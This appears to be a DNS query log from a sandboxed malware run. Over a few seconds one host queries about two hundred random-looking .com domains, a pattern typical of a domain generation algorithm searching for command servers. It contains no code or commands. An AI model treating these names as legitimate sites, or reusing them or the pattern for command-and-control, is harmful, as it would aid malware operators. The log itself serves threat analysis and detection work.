                                                                                                                                                                                                          Nov 11, 2024 18:13:41.057221889 CET192.168.2.61.1.1.10x8e78Standard query (0)vonybat.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:41.061289072 CET192.168.2.61.1.1.10xcb8bStandard query (0)puvycip.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:41.061706066 CET192.168.2.61.1.1.10x4462Standard query (0)volypum.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:41.062974930 CET192.168.2.61.1.1.10x8d8eStandard query (0)pufylap.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:41.084691048 CET192.168.2.61.1.1.10x593aStandard query (0)qexysig.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:41.090111017 CET192.168.2.61.1.1.10x559Standard query (0)puzypug.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:41.091223955 CET192.168.2.61.1.1.10xade4Standard query (0)qedykiv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:41.091407061 CET192.168.2.61.1.1.10x5a5Standard query (0)galypyh.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:41.117126942 CET192.168.2.61.1.1.10xca05Standard query (0)pumybal.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:41.117333889 CET192.168.2.61.1.1.10x2920Standard query (0)lysyjid.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:41.121280909 CET192.168.2.61.1.1.10x8b5dStandard query (0)vofykoc.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:41.121459007 CET192.168.2.61.1.1.10x81bfStandard query (0)galycuw.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:41.121633053 CET192.168.2.61.1.1.10xf0Standard query (0)qexyvoq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:41.121916056 CET192.168.2.61.1.1.10xb2adStandard query (0)ganyvoz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:41.122118950 CET192.168.2.61.1.1.10x96f3Standard query (0)pupyjuv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:41.122638941 CET192.168.2.61.1.1.10x4500Standard query (0)lymyner.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:41.122818947 CET192.168.2.61.1.1.10x4a21Standard query (0)vojyrak.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:41.122992992 CET192.168.2.61.1.1.10x89b7Standard query (0)qedyrag.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:41.123990059 CET192.168.2.61.1.1.10x19a2Standard query (0)lykyxur.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:41.124181986 CET192.168.2.61.1.1.10x3083Standard query (0)lysywon.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:41.124552011 CET192.168.2.61.1.1.10x5606Standard query (0)qeqynel.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:41.126095057 CET192.168.2.61.1.1.10xefaeStandard query (0)pujyteq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:41.131333113 CET192.168.2.61.1.1.10x11b5Standard query (0)lykytej.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:41.132174015 CET192.168.2.61.1.1.10x4470Standard query (0)gadykos.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:41.134732962 CET192.168.2.61.1.1.10x262bStandard query (0)vowyjut.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:41.134900093 CET192.168.2.61.1.1.10x999eStandard query (0)qebyvop.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:41.135834932 CET192.168.2.61.1.1.10x7165Standard query (0)lyxysun.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:41.136441946 CET192.168.2.61.1.1.10x31a9Standard query (0)pufytev.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:41.136986017 CET192.168.2.61.1.1.10x82c8Standard query (0)gaqynyw.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:41.137166023 CET192.168.2.61.1.1.10xb223Standard query (0)puvydov.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:41.139148951 CET192.168.2.61.1.1.10xf7c0Standard query (0)lygytyd.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:41.139388084 CET192.168.2.61.1.1.10xf291Standard query (0)vopyjuf.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:41.139605045 CET192.168.2.61.1.1.10x38f8Standard query (0)gaqyhuz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:41.139777899 CET192.168.2.61.1.1.10x843bStandard query (0)qebyfav.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:41.139815092 CET192.168.2.61.1.1.10x8e51Standard query (0)lyvyvix.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:41.139976978 CET192.168.2.61.1.1.10xb46eStandard query (0)lyvyfad.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:41.140039921 CET192.168.2.61.1.1.10x9e4Standard query (0)vojyzyt.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:41.140165091 CET192.168.2.61.1.1.10x419bStandard query (0)vowymyk.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:41.140239954 CET192.168.2.61.1.1.10x6a82Standard query (0)lyxyvoj.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:41.140327930 CET192.168.2.61.1.1.10xfd2Standard query (0)lygylax.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:41.140451908 CET192.168.2.61.1.1.10xb4dbStandard query (0)qeqyhup.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:41.140536070 CET192.168.2.61.1.1.10x2b37Standard query (0)gacydib.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:41.140656948 CET192.168.2.61.1.1.10x4eebStandard query (0)gatyqih.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:41.140707970 CET192.168.2.61.1.1.10xab36Standard query (0)qegylep.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:41.140867949 CET192.168.2.61.1.1.10xdebfStandard query (0)purymuq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:41.141009092 CET192.168.2.61.1.1.10x3ad6Standard query (0)vocydof.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:41.141268969 CET192.168.2.61.1.1.10x2e74Standard query (0)vopyqim.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:41.141370058 CET192.168.2.61.1.1.10xff8bStandard query (0)qekytyq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:41.154278040 CET192.168.2.61.1.1.10x34e1Standard query (0)qetyquq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:42.245146990 CET192.168.2.61.1.1.10x8961Standard query (0)qebyxyq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:42.246428013 CET192.168.2.61.1.1.10x97a3Standard query (0)vopygat.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:42.251730919 CET192.168.2.61.1.1.10xa767Standard query (0)puzytap.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:42.260353088 CET192.168.2.61.1.1.10x3b7bStandard query (0)galyros.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:42.260941029 CET192.168.2.61.1.1.10xa235Standard query (0)gadyhyw.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:42.280946016 CET192.168.2.61.1.1.10xdfb0Standard query (0)lymyvin.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:42.283380032 CET192.168.2.61.1.1.10xf5a4Standard query (0)volyrac.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:42.295027018 CET192.168.2.61.1.1.10x9398Standard query (0)qedyhyl.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:42.295514107 CET192.168.2.61.1.1.10x76b7Standard query (0)pumycug.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:42.302598000 CET192.168.2.61.1.1.10xc18eStandard query (0)lysyger.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:42.306288958 CET192.168.2.61.1.1.10xf26Standard query (0)vonycum.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:42.307867050 CET192.168.2.61.1.1.10xdcfeStandard query (0)lykywid.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:42.412239075 CET192.168.2.61.1.1.10x3002Standard query (0)vocycuc.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:42.428751945 CET192.168.2.61.1.1.10x201bStandard query (0)qeqyvig.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:42.430495977 CET192.168.2.61.1.1.10x904Standard query (0)gahykih.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:42.430655956 CET192.168.2.61.1.1.10xab59Standard query (0)puvypul.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:42.430828094 CET192.168.2.61.1.1.10x806dStandard query (0)qetynev.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:42.430953979 CET192.168.2.61.1.1.10x3084Standard query (0)vojykom.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:42.431108952 CET192.168.2.61.1.1.10xd294Standard query (0)lyvysur.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:42.431238890 CET192.168.2.61.1.1.10x7040Standard query (0)gatynes.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:42.431387901 CET192.168.2.61.1.1.10xf4f9Standard query (0)pujylog.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:42.431524038 CET192.168.2.61.1.1.10xe84Standard query (0)vopymyc.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:42.445746899 CET192.168.2.61.1.1.10xf29aStandard query (0)qebysul.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:42.462181091 CET192.168.2.61.1.1.10xeac5Standard query (0)vofyqit.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:42.482604027 CET192.168.2.61.1.1.10xdfecStandard query (0)lykylan.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:42.730587006 CET192.168.2.61.1.1.10x17a1Standard query (0)lygywor.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:42.730954885 CET192.168.2.61.1.1.10xfbafStandard query (0)qegykiq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:42.731118917 CET192.168.2.61.1.1.10xaa38Standard query (0)lygyjuj.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:42.731280088 CET192.168.2.61.1.1.10x5333Standard query (0)gacycus.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:42.731415987 CET192.168.2.61.1.1.10x9f06Standard query (0)pufywil.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:42.731558084 CET192.168.2.61.1.1.10xc031Standard query (0)qeqyfaq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:42.731693029 CET192.168.2.61.1.1.10xcb31Standard query (0)purygeg.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.079340935 CET192.168.2.61.1.1.10x9313Standard query (0)vonydik.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.085671902 CET192.168.2.61.1.1.10xbe2cStandard query (0)pupymyp.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.086635113 CET192.168.2.61.1.1.10xcf6aStandard query (0)pupygel.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.087475061 CET192.168.2.61.1.1.10xf14bStandard query (0)ganydiw.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.088430882 CET192.168.2.61.1.1.10xb21Standard query (0)qexytep.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.092227936 CET192.168.2.61.1.1.10xb46fStandard query (0)vowybof.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.093341112 CET192.168.2.61.1.1.10x5314Standard query (0)gacypyz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.094630003 CET192.168.2.61.1.1.10xec43Standard query (0)gaqyvob.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.147389889 CET192.168.2.61.1.1.10x6e47Standard query (0)lyrygyn.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.147696018 CET192.168.2.61.1.1.10x88e7Standard query (0)pufyjuq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.147874117 CET192.168.2.61.1.1.10x709cStandard query (0)lyxyxyd.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.148047924 CET192.168.2.61.1.1.10x33b5Standard query (0)qegyrol.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.148199081 CET192.168.2.61.1.1.10xcfe8Standard query (0)vowygem.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.149152994 CET192.168.2.61.1.1.10x3229Standard query (0)gahyraw.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.149405003 CET192.168.2.61.1.1.10x407fStandard query (0)qexyxuv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.149841070 CET192.168.2.61.1.1.10xa3d5Standard query (0)qekylag.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.150495052 CET192.168.2.61.1.1.10xb88dStandard query (0)vocypyt.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.150995016 CET192.168.2.61.1.1.10xbc75Standard query (0)vofyjuk.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.151361942 CET192.168.2.61.1.1.10xdbc6Standard query (0)gadyquz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.152232885 CET192.168.2.61.1.1.10xc49cStandard query (0)gaqyfah.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.152499914 CET192.168.2.61.1.1.10x5ca8Standard query (0)lymyfoj.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.152717113 CET192.168.2.61.1.1.10xfaccStandard query (0)lysymux.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.154649019 CET192.168.2.61.1.1.10x146dStandard query (0)lyxytex.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.155123949 CET192.168.2.61.1.1.10x900cStandard query (0)volyzef.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.156533003 CET192.168.2.61.1.1.10xd601Standard query (0)qedyqup.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.156696081 CET192.168.2.61.1.1.10xe878Standard query (0)pumydoq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.189922094 CET192.168.2.61.1.1.10x558cStandard query (0)lyrynad.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.190146923 CET192.168.2.61.1.1.10x7bcStandard query (0)purybav.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.190339088 CET192.168.2.61.1.1.10xe3a8Standard query (0)ganycuh.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.190656900 CET192.168.2.61.1.1.10x516eStandard query (0)galyzeb.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.204962015 CET192.168.2.61.1.1.10xa15fStandard query (0)qekyrov.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.205225945 CET192.168.2.61.1.1.10xe34eStandard query (0)puzyxyv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.252922058 CET192.168.2.61.1.1.10xda70Standard query (0)gadyfuh.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.754741907 CET192.168.2.61.1.1.10xef86Standard query (0)qexyriq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.756254911 CET192.168.2.61.1.1.10xe09cStandard query (0)vowycut.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.759484053 CET192.168.2.61.1.1.10x1dcbStandard query (0)lygyged.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.766668081 CET192.168.2.61.1.1.10x1f10Standard query (0)pujywiv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.793488979 CET192.168.2.61.1.1.10xf3cfStandard query (0)puvytag.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.796132088 CET192.168.2.61.1.1.10x7d4Standard query (0)gahyhys.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.808659077 CET192.168.2.61.1.1.10xa2edStandard query (0)lyryvur.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.809365988 CET192.168.2.61.1.1.10x1c5aStandard query (0)vocyrom.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.835850000 CET192.168.2.61.1.1.10xd18dStandard query (0)qebyteg.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.836468935 CET192.168.2.61.1.1.10xb666Standard query (0)gacyroh.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.841629028 CET192.168.2.61.1.1.10x5193Standard query (0)vonypyf.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.863404989 CET192.168.2.61.1.1.10x1250Standard query (0)puzywel.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.900897026 CET192.168.2.61.1.1.10x57dStandard query (0)pumypyv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.902214050 CET192.168.2.61.1.1.10x2378Standard query (0)volykit.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.902412891 CET192.168.2.61.1.1.10xa3d5Standard query (0)lyvytan.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.903104067 CET192.168.2.61.1.1.10x6012Standard query (0)gacyzaw.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.903414965 CET192.168.2.61.1.1.10xe4e8Standard query (0)purydip.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.925777912 CET192.168.2.61.1.1.10xf15bStandard query (0)qetyvil.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.927095890 CET192.168.2.61.1.1.10x86dStandard query (0)lyryfox.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.927439928 CET192.168.2.61.1.1.10xe775Standard query (0)galykiz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.927759886 CET192.168.2.61.1.1.10xf3bdStandard query (0)purycul.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.928107977 CET192.168.2.61.1.1.10x945aStandard query (0)vopybok.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.928581953 CET192.168.2.61.1.1.10x1800Standard query (0)lykyjux.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.929074049 CET192.168.2.61.1.1.10xee13Standard query (0)pupyboq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.929349899 CET192.168.2.61.1.1.10x3b5eStandard query (0)ganypeb.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.929680109 CET192.168.2.61.1.1.10xbf81Standard query (0)puzylol.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.929821014 CET192.168.2.61.1.1.10xfab9Standard query (0)qekykup.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.930140018 CET192.168.2.61.1.1.10x54a9Standard query (0)gaqycyz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.930180073 CET192.168.2.61.1.1.10xac44Standard query (0)gaqydus.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.930428982 CET192.168.2.61.1.1.10xaa63Standard query (0)lysyfin.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.931241035 CET192.168.2.61.1.1.10xaab3Standard query (0)vofymem.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.931396008 CET192.168.2.61.1.1.10x5cf5Standard query (0)qegyqug.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.931651115 CET192.168.2.61.1.1.10x403bStandard query (0)pujyjup.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.931752920 CET192.168.2.61.1.1.10x1ccdStandard query (0)gatyviw.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.932243109 CET192.168.2.61.1.1.10x1fd5Standard query (0)vojyjyc.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.933358908 CET192.168.2.61.1.1.10x55aaStandard query (0)qeqyxov.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.934614897 CET192.168.2.61.1.1.10x430eStandard query (0)volyqat.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.937037945 CET192.168.2.61.1.1.10xabd4Standard query (0)lymysud.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.939377069 CET192.168.2.61.1.1.10x7793Standard query (0)gadyneh.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.946594000 CET192.168.2.61.1.1.10x708bStandard query (0)vocyzek.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.946866989 CET192.168.2.61.1.1.10x1facStandard query (0)qedyfog.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.948488951 CET192.168.2.61.1.1.10xa703Standard query (0)qeqysuv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.952105045 CET192.168.2.61.1.1.10x93d8Standard query (0)puzywuq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.952251911 CET192.168.2.61.1.1.10x33c4Standard query (0)galyquw.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.952400923 CET192.168.2.61.1.1.10x7e0aStandard query (0)gadyfob.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.953125000 CET192.168.2.61.1.1.10x5edbStandard query (0)vofygaf.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.953299046 CET192.168.2.61.1.1.10xe72eStandard query (0)gahyqub.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.953950882 CET192.168.2.61.1.1.10xb70bStandard query (0)qetyfop.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.955828905 CET192.168.2.61.1.1.10xf08cStandard query (0)vojyquf.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.956159115 CET192.168.2.61.1.1.10x7bf0Standard query (0)lyvyxyj.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.969995022 CET192.168.2.61.1.1.10x1bacStandard query (0)puvyxeq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.970907927 CET192.168.2.61.1.1.10xc4b4Standard query (0)lygymyn.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.971086025 CET192.168.2.61.1.1.10x232cStandard query (0)gatyfaz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.971230984 CET192.168.2.61.1.1.10xe3e3Standard query (0)lyxywij.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.971422911 CET192.168.2.61.1.1.10x6ca9Standard query (0)vonyzac.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.972134113 CET192.168.2.61.1.1.10xb096Standard query (0)lysynaj.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.972274065 CET192.168.2.61.1.1.10xadceStandard query (0)lyxylor.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.972400904 CET192.168.2.61.1.1.10x508fStandard query (0)pufymyg.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.972539902 CET192.168.2.61.1.1.10xf887Standard query (0)qexylal.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.972682953 CET192.168.2.61.1.1.10x384eStandard query (0)qeqyxyp.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.972820997 CET192.168.2.61.1.1.10x11d5Standard query (0)vowydic.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.975052118 CET192.168.2.61.1.1.10x5890Standard query (0)volyquk.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.978091002 CET192.168.2.61.1.1.10x309aStandard query (0)lymyxex.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.978276014 CET192.168.2.61.1.1.10x8c31Standard query (0)pumyxep.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.978451967 CET192.168.2.61.1.1.10xb28eStandard query (0)pumyxiv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.978678942 CET192.168.2.61.1.1.10x182fStandard query (0)qedynaq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.981163979 CET192.168.2.61.1.1.10xfe20Standard query (0)qegyhev.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.988523006 CET192.168.2.61.1.1.10xe9bdStandard query (0)pufygav.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.994539976 CET192.168.2.61.1.1.10xd379Standard query (0)lysyfyj.comA (IP address)IN (0x0001)false
